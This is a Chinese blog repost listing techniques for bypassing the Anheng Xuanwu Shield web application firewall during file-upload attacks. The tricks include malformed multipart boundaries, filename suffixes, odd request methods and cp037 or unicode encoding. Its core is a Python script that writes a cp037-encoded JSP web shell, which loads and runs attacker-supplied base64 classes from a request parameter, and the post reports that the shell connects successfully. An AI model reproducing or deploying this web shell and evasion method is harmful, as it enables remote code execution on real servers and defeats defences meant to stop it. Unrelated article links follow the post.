• 文件上传漏洞之安恒玄武盾的一些绕过方法技巧


    转载https://xz.aliyun.com/t/11607

    文件名绕过

    boundary等号前后空格绕过

    Content-Type: multipart/form-data;
    boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3

    boundary等号前后ascii码09绕过

    Cp037编码绕过

    文件名后加/绕过

    畸形请求方法

    文件内容绕过

    unicode编码

    cp037编码(脚本内置马支持后缀jsp/jspx,都可解析)

    编码脚本

    #python2
    data = '''
    
      
        class PERFORM extends ClassLoader {
          PERFORM(ClassLoader c) { super(c);}
          public Class bookkeeping(byte[] b) {
            return super.defineClass(b, 0, b.length);
          }
        }
        public byte[] branch(String str) throws Exception {
          Class base64;
          byte[] value = null;
          try {
            base64=Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
          } catch (Exception e) {
            try {
              base64=Class.forName("java.util.Base64");
              Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
              value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
            } catch (Exception ee) {}
          }
          return value;
        }
      
      
        String cls = request.getParameter("xxoo");
        if (cls != null) {
          new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});
        }
      
    '''
    fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)
    fcp037.write(data.encode('cp037'))
    

    生成出来,burp选择paste from file


    可以正常连接

            
    • 1
  • 相关阅读:
    Linux19 --- 线程同步、用户级和内核级线程、互斥锁、信号量、读写锁、条件变量
    刷题记录:牛客NC16536[NOIP2013]华容道
    好看的货架效果(含3D效果)
    列表推导式、集合推导式、字典推导式、生成器
    操作系统最核心的概念-进程(下)
    Error: error:0308010C:digital envelope routines::unsupported
    人工智能优势
    【C语言】冒泡排序升级版---适用任意类型
    js作用域
    FactoryBean原理
  • 原文地址:https://blog.csdn.net/weixin_50464560/article/details/126444610